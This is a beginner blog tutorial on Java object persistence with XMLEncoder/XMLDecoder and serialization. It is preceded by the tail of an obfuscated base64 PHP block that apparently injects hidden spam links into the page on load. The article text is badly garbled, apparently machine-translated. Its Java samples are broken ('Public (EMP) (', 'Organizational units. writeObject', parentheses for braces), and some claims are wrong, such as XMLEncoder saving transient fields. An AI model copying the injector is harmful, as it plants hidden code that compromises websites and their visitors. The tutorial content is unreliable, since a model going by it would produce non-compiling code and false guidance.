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spIHsNCgkJCQlpZiAoJG9mZnNldCA+IDAgJiYgJGkgPD0gJG9mZnNldCkNCgkJCQkJYXJy YXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCQllbHNlDQoJCQkJCSRsaW5rc1tdID0g YXJyYXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCX0NCg0KCQkJJGh0bWwgPSBqb2lu KCR0aGlzLT5fbGlua3NfZGVsaW1pdGVyLCAkbGlua3MpOw0KCQkJCQkNCgkJfSBlbHNlIHsNCgkJ CSRodG1sID0gJHRoaXMtPl9saW5rc19wYWdlOw0KCQl9DQoNCgkJaWYgKCR0aGlzLT5fc2hvd19j b2RlKQ0KCQkJJGh0bWwgPSAkaHRtbCAuICc8IS0tQ00nLigkdGhpcy0+X2lkKS4nLS0+JzsNCg0K CQlyZXR1cm4gJGh0bWw7DQoNCgl9DQoNCg0KICBmdW5jdGlvbiBzZXRfZGF0YSgkZGF0YSkgew0K DQoJCSR0aGlzLT5fbGlua3NfcGFnZSA9ICRkYXRhOw0KDQogIH0NCn0NCg0KDQokQ00gPSBuZXcg Q01fY2xpZW50KCk7DQplY2hvICRDTS0+cmV0dXJuX2xpbmtzKCk7DQoNCg0K")); ?>


Introduction At the time of development, it is sometimes necessary to save the state of the object in the file system. Some objects may or may not be stored in the file system depends on the intensity of the structural object graph. In this article I will focus on two important aspects of object persistence. Before going on the subject, I would like to tell you about the importance of object persistence. Object persistence is the state of the object in the file system. In this issue you can do the arguments in relation to object persistence in the database, Hibernate. But so far this article is concerned I will give insight on the persistence in the file system for all convenience. The state of the object means the attributes or characteristics of the object in a broader sense. The object diagram shows the internal morphological structure of the object. More incessantly the object is, you will save all changes in internal structure of the object. Technicalities There are several ways you can pass the condition of the property. You can help Java IO system to store the object in the file system. However, there are practical approaches that are your expectations in this regard needs. One possibility is the textual representation of the object graph in the file system and the other type is the binary representation of the object graph. These ways are very convenient and easy from the perspective of development. You can reach the textual representation of the object graph with XMLEncoder and you can get the binary representation of the object graph with Java serialization goal. Let me explain by the two approaches. Persistence with XMLEncoder XMLEncoder class perpetuate an approach to the object graph in an XML document or simply in an XML file. It offers the flexibility of storing the object as a textual approach. In this approach, you can use the XML file and one can easily understand the attributes of the object. As for the object graph from the XML file, you can XMLDecoder. All these classes have been defined in the Java. Beans package. Let me clarify all aspects by specifying the full sample. Create a standard Java bean class or with the following structure. Let the class called Emp. Java, which is a normal Java Bean. There is another class called TestPersistence test environment. Java, which exposes the use of XMLEncoder and XMLDecoder. The following is the receiver. Java. com package. Core. ; Are / ** * This is a simple Java Bean. * @ Author Debadatta Mishra (PIKU) * * / public class Emp ( private String name = null; private int age = 0; private String EmpID = null; Public (EMP) ( super (); ) public String getName () ( Return name; ) public void setName (String name) ( this. name = name; ) public int getAge () ( Return age; ) public void Set (int age) ( this. age = age; ) public String getEmpId () ( EmpID return; ) public void setEmpId (String EmpID) ( this. EmpID = EmpID; ) ) What follows is the TestPersistence. Java com package. Core. ; Are import java. Beans. XMLDecoder; import java. Beans. XMLEncoder; import java. io. BufferedInputStream; import java. io. BufferedOutputStream; import java. io. FileInputStream; import java. io. FileOutputStream; / ** * This is a test environment to the class * Use of XMLEncoder and XMLDecoder. * @ Author Debadatta Mishra (PIKU) * * / public class TestPersistence ( public static void main (String [] args) ( EMP Emp = new EMP (); EMP. setName (“John”); EMP. SetAge (23); EMP. setEmpId (“A123″); try ( / * * The following codes are used to the Emp object graph are * / XMLEncoder encoder = new XMLEncoder (new BufferedOutputStream ( new FileOutputStream (“C: / EMP. xml “))); Encoder. writeObject (EMP); Encoder. flush (); Encoder. close (); / * * The following codes are used to obtain the Emp object graph * From the XML document * / XMLDecoder decoder = new XMLDecoder (new BufferedInputStream ( new FileInputStream (“C: / EMP. xml “))); Emp EMP1 = (EMP) decoder. readObject (); Decoder. close (); System. out. (Println “EMP name = >” + EMP1. GetName ()); System. out. Println (“EMP age = >” + EMP1. GetAge ()); System. out. Println (“EMP > Id =” + EMP1. GetEmpId ()); ) catch (Exception e) ( e. printStackTrace (); ) ) ) The following is the output of the above example. If the above classes, an XML document named EMP. XML will be created in the specified location. The XML document will look like. 23 A123 John So you have saved the state of the receiver object in the XML document. It is also necessary to load the receiver object from the XML document. For this purpose, you must use XMLDecoder that was used in the test environment class. If you want to test the above two classes, you can copy and modify the class and package structure and you can run it. When loading the object with XMLDecoder, it takes the help of Java’s reflection system. Advantages of XMLEncoder and XMLDecoder • Since this is a textual representation of the object graph, all can see, the XML file, and it helps in the portability to other systems. • If you want to change the value of a particular property of an object, you can jump in the XML document, so that during use XMLDecoder, you will get your modified value. • If the object variables are declared transient, nor can you save the entire object graph along with the transient variable value. This case is not possible in the case of Java object serialization. • It is also very easy and convenient in the case of inheritance object. Is there no need to disturb the super class and sub class. may cause some of the limitations of the normal Java object serialization on this approach. Persistence with serialization Serialization is a Java standard mechanism to store the state of the object or simply the object graph in the file system. In this case, your object in the file system where the file will be maintained unreadable. It means that you’re going to save the binary representation of the object graph in the file system. This object can be serialized with the writeObject () method to the class ObjectOutputStream. The main thing you have to remember is that the object you continue to have to go serialization interface, which is called as a marker interface implemented. In the next article I will explain the use and beauty of the marker interface. Similarly, deserialization retrieval of funds from the object saved state. You can use the deserialization readObject () method of class Object Input Stream. Please note the following piece of code to achieve serialization. The following class named Emp. It implements Serializable interface. There is another class called TestSerialization. This class leads both serilization and deserilization. This is the normal way of serilization concept of Java. com package. Core. ; Are import java. io. Serializable; / ** * This is a simple Java Bean. * @ Author Debadatta Mishra (PIKU) * * / public class Emp implements Serializable ( private static final long serialVersionUID =-164971138528601769L; private String name = null; private int age = 0; Public (EMP) ( super (); ) public String getName () ( Return name; ) public void setName (String name) ( this. name = name; ) public int getAge () ( Return age; ) public void Set (int age) ( this. age = age; ) ) TestSerialization class. Java com package. Core. ; Are import java. io. FileInputStream; import java. io. FileOutputStream; import java. io. Object Input Stream; import java. io. ObjectOutputStream; public class TestSerialization ( public static void main (String [] args) ( EMP Emp = new EMP (); EMP. SetAge (23); EMP. setName (“John”); try ( / * * Code to serialize the object to stop or * / ObjectOutputStream OU = new ObjectOutputStream (new FileOutputStream (“D: / test. SER”)); Organizational units. writeObject (EMP); Organizational units. close (); / * * Code to deserialize the object * / Object Input Stream oin = new Object Input Stream (new FileInputStream (“D: / test. SER”)); Emp EMP1 = (oin EMP). readObject (); System. out. Println (“EMP age —-” + EMP1. GetAge ()); System. out. Println (“EMP name —-” + EMP1. GetName ()); ) catch (Exception e) ( e. printStackTrace (); ) ) ) You can test the above code in your editor to the functions relating to the serialization. Now I have put forward some cases for seriliazation. Case 1: If you are not your object implements Serializable interface, To serialize an object, it is necessary that the class must implement seriliazable interface. This is the principle of serilization required. Oterwise throw it NotSerializationException. There is another way, if your class does not implement Serilizable interface, you must declare the object as transient. So that the object state will not be retained. Case 2: In the case of inheritance, your super class does not implement Serializable interface and sub-class either. serilization In this case, will not happen. If you are interested in the properties of the object store, all you are traveling for XMLEncoder XMLDecoder and as I explained to you alredy. Case-3: In the case of inheritance, your class implements Serializable interface and sub-class does not. In this case, you should not worry about it, seriliazation happened. Case-4: In the case of inheritance, the super-class does not implement Serializable interface, but does your sub-class. Seriliazation will happen, but falvour with a lemon. No exception will be thrown, but your data superclass members or object properties of your super-class will not be retained. When you deserialize object, you get the defaults from your super-class object. Case-5: This is the best case. You implement super class and sub class Serializable interface. Everything here is ok, happens serilization. Case 6: If your object uses transient modifier in the interior of the object, You have to remember that transient objects or variables are not preserved during serialization. Case 7: If your object volatile modifiers used within the object, There is nothing to fear, the serialization and data happen to be retained in the rule. Case-8: If your object uses static modifiers inside the object, You have to remember that, since not static part of the object, the static variable or static object reference will not be retained for seriaization. Case 9: It is a very special case, I will focus on me. You can use the following situations at the time of serialization encounter. • you are not sure if the super-class implement Serializable interface works. • You do not have access to the source code of your super class. • your super class can be a final class. • can contain the super-class noe-serializable object reference. In this case, if you can feel the frustration and disappointment, you XMLEncoder XMLDecoder and go as I have already explained. If you want to hold the object in the Java serialization mechanism and approach, you need to do it manually, and unintelligent. Please refer to the following piece of code. The following class name is Emp. Java com package. Core. ; Are import java. io. Object Input Stream; import java. io. ObjectOutputStream; import java. io. Serializable; / ** * This is a simple Java Bean. * @ Author Debadatta Mishra (PIKU) * * / public class Emp implements Serializable ( private static final long serialVersionUID =-164971138528601769L; private String name = null; private int age = 0; private String EmpID = null; private transient Project proj = null; Public (EMP) ( super (); proj = new Project (); ) public String getName () ( Return name; ) public void setName (String name) ( this. name = name; ) public int getAge () ( Return age; ) public void Set (int age) ( this. age = age; ) public String getEmpId () ( EmpID return; ) public void setEmpId (String EmpID) ( this. EmpID = EmpID; ) public project getProj () ( Return proj; ) public void setProj (Project proj) ( this. proj = proj; ) / ** You are proividing a standard callback method * For manual seriallization process. * @ Param os the type (@ link) ObjectOutputStream * @ Throws Exception of type (@ link) Exception * / private void writeObject (ObjectOutputStream os) throws Exception ( try ( os. default Write Object (); os. writeInt (Proj. getProjectId ()); os. writeObject (Proj. getPojectName ()); ) catch (Exception e) ( e. printStackTrace (); ) ) / ** You offer standard with desrialization * Some manual TWIK. * @ Param oin of type (@ link) Object Input Stream * @ Throws Exception of type (@ link) Exception * / private void readObject (Object Input Stream OIN) throws Exception ( try ( . Oin defaultReadObject (); proj = new Project (); proj. setProjectId (oin. readInt ()); proj. setPojectName ((String oin). readObject ()); ) catch (Exception e) ( e. printStackTrace (); ) ) ) The following class name is Project. Java com package. Core. ; Are / ** * @ Author Debadatta Mishra (PIKU) * * / public class Project ( private int projectID = 0; private String pojectName = null; public Project () ( super (); ) public String getPojectName () ( PojectName return; ) public void setPojectName (String pojectName) ( this. pojectName = pojectName; ) public int getProjectId () ( ProjectID return; ) public void setProjectId (int projectID) ( this. projectID = projectID; ) ) The following class name is TestSerialization. Java test environment, the class is. com package. Core. ; Are import java. io. FileInputStream; import java. io. FileOutputStream; import java. io. Object Input Stream; import java. io. ObjectOutputStream; / ** * @ Author Debadatta Mishra (PIKU) * * / public class TestSerialization ( public static void main (String [] args) ( EMP Emp = new EMP (); EMP. SetAge (23); EMP. setEmpId (“A1″); EMP. setName (“John”); Project proj = new Project (); proj. setProjectId (5555); proj. setPojectName (“XYZ”); EMP. setProj (proj); try ( ObjectOutputStream OU = new ObjectOutputStream ( new FileOutputStream (“D: / test. SER”)); Organizational units. writeObject (EMP); Organizational units. close (); Object Input Stream oin = new Object Input Stream (new FileInputStream ( ”D: / test. SER”)); Emp EMP1 = (oin EMP). readObject (); System. out. Println (“EMP age —-” + EMP1. GetAge ()); Project Proj1 = EMP1. getProj (); System. out. Println (“Id Proj —–” + Proj1. GetProjectId ()); System. out. Println (“Proj Name —-” + Proj1. GetPojectName ()); ) catch (Exception e) ( e. printStackTrace (); ) ) ) Please note the two methods writeObject () and readObject () within the class Emp. These two methods are going in the sense of importance that you, in order to achieve serialization with your default object serialization, and the manual with the not serializable object with some data. If you call the methods writeObject () and readObject () are called automatically for a particular object, and these methods will be some default data. In these particular methods you are persistent data manually and by which the whole object serializable. Completion I hope you enjoy my article. If you have any problems or mistakes, please send me an e-mail address in the debadattamishra @ AOL. com. This item is only for those who are new in Java Development meant. This article makes no commercial significance. Please give me feedback on this product.